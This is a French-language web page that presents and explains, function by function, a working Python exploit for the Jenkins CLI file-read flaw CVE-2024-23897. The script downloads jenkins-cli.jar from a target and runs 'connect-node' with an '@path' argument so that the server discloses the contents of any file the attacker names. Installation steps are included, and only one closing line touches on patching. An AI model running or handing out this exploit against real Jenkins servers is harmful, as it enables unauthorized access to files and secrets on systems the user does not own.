
exploit qui compromet Jenkins fait en Python

paramètres ip , puerto , ruta

sortie de l'exploit

Panneau d'aide
Voici l'explication du code en Markdown :
Ce script est conçu pour exploiter une vulnérabilité spécifique dans Jenkins (CVE-2024-23897). Il permet de télécharger un fichier JAR depuis un serveur Jenkins et d'exécuter une charge utile pour connecter un nœud Jenkins. Voici l'explication de chaque partie du code :
import argparse
import requests
import os
import subprocess
import sys
argparse: Pour gérer les arguments de la ligne de commande.requests: Pour effectuer des requêtes HTTP.os: Pour interagir avec le système d'exploitation.subprocess: Pour exécuter des commandes système.sys: Pour interagir avec l'interpréteur Python.bannerdef banner():
"""
Affiche une bannière décorative pour l'outil.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \ ___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
Cette fonction affiche une bannière décorative au début du script.
descargar_jardef descargar_jar(ip, puerto):
"""
Télécharge le fichier jenkins-cli.jar depuis le serveur Jenkins spécifié.
Args:
ip (str): Adresse IP du serveur Jenkins.
puerto (str): Port du serveur Jenkins.
Returns:
bool: True si le téléchargement a réussi, False sinon.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] Impossible de télécharger le fichier. Code d'état : {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Erreur lors de la requête : {errorhttp}")
return False
Cette fonction télécharge le fichier jenkins-cli.jar depuis le serveur Jenkins spécifié par l'adresse IP et le port. Si le téléchargement réussit, elle enregistre le fichier sur le système et renvoie True ; sinon, elle renvoie False.
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Exécute la charge utile pour connecter un nœud Jenkins.
Args:
ip (str): Adresse IP du serveur Jenkins.
puerto (str): Port du serveur Jenkins.
ruta (str): Chemin pour lire le fichier.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Erreur lors de la tentative de connexion du nœud : {error_payload}\n")
Cette fonction exécute une commande pour connecter un nœud Jenkins en utilisant le fichier jenkins-cli.jar. Après l'exécution de la commande, elle supprime le fichier JAR. En cas d'erreur d'exécution, elle affiche un message d'erreur.
maindef main():
"""
Fonction principale qui analyse les arguments et exécute les fonctions correspondantes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
La fonction principale du script :
ip, puerto, ruta).banner pour afficher la bannière.descargar_jar pour télécharger le fichier JAR.attack_payload pour exécuter la charge utile ; sinon, elle termine le script avec un code de sortie 1.if __name__ == '__main__':
main()
Ce bloc garantit que la fonction main ne s'exécute que si le script est exécuté directement, et non s'il est importé comme module.
Ce script est un outil pour exploiter une vulnérabilité dans Jenkins. Il télécharge un fichier JAR depuis un serveur Jenkins et utilise ce fichier pour exécuter une charge utile qui connecte un nœud Jenkins. Les arguments nécessaires (ip, puerto, ruta) sont fournis via la ligne de commande.
Voici une liste des bibliothèques nécessaires avec les commandes pip install pour chacune :
argparse: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.
requests: Pour effectuer des requêtes HTTP.
pip install requests
os: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.
subprocess: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.
sys: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.
pip install requests
@/ruta/del/archivo.@/ruta/del/archivo et remplace cet argument par le contenu du fichier spécifié.Mettre à jour et configurer correctement Jenkins est crucial pour protéger le système contre cette vulnérabilité.
